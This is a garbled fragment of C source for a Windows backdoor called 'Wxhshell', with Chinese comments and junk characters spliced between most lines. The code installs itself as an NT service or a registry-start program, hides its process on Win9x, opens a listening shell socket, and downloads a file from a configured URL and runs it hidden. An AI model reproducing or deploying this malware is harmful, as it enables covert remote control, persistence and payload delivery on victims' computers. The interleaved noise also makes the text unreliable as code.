% 6pe4Ni7I2 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hiT9H5 6> w`"W3( CloseHandle(hProcess); (''$'5~ MQhYJ01i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UfO'.8*v if(hProcess==NULL) return 0; WoJ]@Me8 kv[OW"8t HMODULE hMod; Psg +\ 14 char procName[255]; N/`g?B[ unsigned long cbNeeded; _GRv WJP`0f3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `~sf}S
: KF*B CloseHandle(hProcess); V}p*HB@: 9n-RXVL+ if(strstr(procName,"services")) return 1; // 以服务启动 <`^>bv9 l,ZzB," return 0; // 注册表启动 X6n|Xq3k } o(vZ*^\ X/K| WOO6 // 主模块 eDvXU_yA int StartWxhshell(LPSTR lpCmdLine) {_+>"esc { T9,lblUQ SOCKET wsl; G`&'Bt{Z* BOOL val=TRUE; NN?Bi=&9 int port=0; `,<>){c| struct sockaddr_in door; !<JG&9ODP ^$3w&$K* if(wscfg.ws_autoins) Install(); a^(S!I 8j({=xbg& port=atoi(lpCmdLine); ^2(";.m Ykx&6M@t if(port<=0) port=wscfg.ws_port; |J@| ]g>T9,)l WSADATA data; qM+!f2t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L+`}euu5 >7eu' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 47$-5k30 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C _k_D door.sin_family = AF_INET; im_0ur&' door.sin_addr.s_addr = inet_addr("127.0.0.1"); <L[ *hp door.sin_port = htons(port); ZzwZ,( 9~*_(yjF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r5<e}t- closesocket(wsl); rGP?
E3 return 1; D<$j`r } LKoM\g( :X]lXock0 if(listen(wsl,2) == INVALID_SOCKET) { 9.]Cy8 closesocket(wsl); ZnxOa return 1; .'+|>6eU } j.e`ip Wxhshell(wsl); L.R\]+$U2 WSACleanup();
k,o=1I (W{ rv6cq return 0; j8F~j?%! u/K)y:ZZ } ?.|wfBI :$u{ // 以NT服务方式启动 F\YcSDM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cPa 0n4 { ACMpm~C8Gu DWORD status = 0; 8O}A/*1FJ DWORD specificError = 0xfffffff; &)/H?S;yN j/; @P serviceStatus.dwServiceType = SERVICE_WIN32; pU\xzL D serviceStatus.dwCurrentState = SERVICE_START_PENDING; zS>:7eG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xw/h~:NT serviceStatus.dwWin32ExitCode = 0; U(=f5|- serviceStatus.dwServiceSpecificExitCode = 0; (&a3v serviceStatus.dwCheckPoint = 0; +"fM &F] serviceStatus.dwWaitHint = 0; ({}O
M=_ !F}J+N=} hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \3@2rW"5 if (hServiceStatusHandle==0) return; 5Rt0h$_J 1f bFNxo8M status = GetLastError(); ~]D\&D9=? if (status!=NO_ERROR) #RZJ1uL { Vtc)/OH serviceStatus.dwCurrentState = SERVICE_STOPPED; *RqO3= serviceStatus.dwCheckPoint = 0; {{#a%O serviceStatus.dwWaitHint = 0; LU 5
`!0m serviceStatus.dwWin32ExitCode = status; hBs>2u|z9 serviceStatus.dwServiceSpecificExitCode = specificError; K.sj"#D SetServiceStatus(hServiceStatusHandle, &serviceStatus); {
?1mY" return; CgPZvB[ } kcZ;SYosj -qnXa serviceStatus.dwCurrentState = SERVICE_RUNNING; 71.:p,Z@z serviceStatus.dwCheckPoint = 0; \?Oly171 serviceStatus.dwWaitHint = 0; 'KIi!pA. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,nuDoc } .\hib.n3 { <ao4w6B // 处理NT服务事件,比如:启动、停止 M,v@G$pW VOID WINAPI NTServiceHandler(DWORD fdwControl) 3K;b~xg`nw { @a7(*<". switch(fdwControl) K:Xrfn{s { x4 A TK case SERVICE_CONTROL_STOP: yz&q2 serviceStatus.dwWin32ExitCode = 0; IQ27FV|3 serviceStatus.dwCurrentState = SERVICE_STOPPED; QP-<$P;~ serviceStatus.dwCheckPoint = 0; -EX3'
[*' serviceStatus.dwWaitHint = 0; N_WA4?rB { \Lh<E5@] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9"u@<] } C`K9WJOD return; qjRiTIp9q case SERVICE_CONTROL_PAUSE: :4L5@>b- serviceStatus.dwCurrentState = SERVICE_PAUSED; )v$Cv|" break; PezWc18 case SERVICE_CONTROL_CONTINUE: c6}xnH serviceStatus.dwCurrentState = SERVICE_RUNNING; "T=3mv%S break; |@n{tog+- case SERVICE_CONTROL_INTERROGATE: [HZCnO|N break; :Pp;{=J }; j~0ZE
-e SetServiceStatus(hServiceStatusHandle, &serviceStatus); c75vAKZ2 } 3YNkT"~T Y.hH
fSp // 标准应用程序主函数 U"R.!=v int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x /Ky:
Ky { G cLp" NB yN}e // 获取操作系统版本 g)G7
kB/<p OsIsNt=GetOsVer(); SO jDtZ GetModuleFileName(NULL,ExeFile,MAX_PATH); HjY-b*B 7g<`wLAH // 从命令行安装
!NY^(^ if(strpbrk(lpCmdLine,"iI")) Install(); 5Vm}<8{ QCY{D@7T // 下载执行文件 So]FDd if(wscfg.ws_downexe) { 9+;f1nV if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^OcfM_4pN WinExec(wscfg.ws_filenam,SW_HIDE); `"-!UkD+ } {&j{V-}f igbb=@QBJ if(!OsIsNt) { p<nBS"/ // 如果时win9x,隐藏进程并且设置为注册表启动 .j4ziRa- HideProc(); ]j#$. $q StartWxhshell(lpCmdLine); Z
5YW L4s } 8`*9jr else %D6Wlf+^n if(StartFromService()) ~q%9zO' // 以服务方式启动 OL9C#er StartServiceCtrlDispatcher(DispatchTable); =$z$VbBv else s&_O2(l // 普通方式启动 7JwWM2N?V StartWxhshell(lpCmdLine); S2GBX1 ?g*T3S" return 0; HyYQQ }
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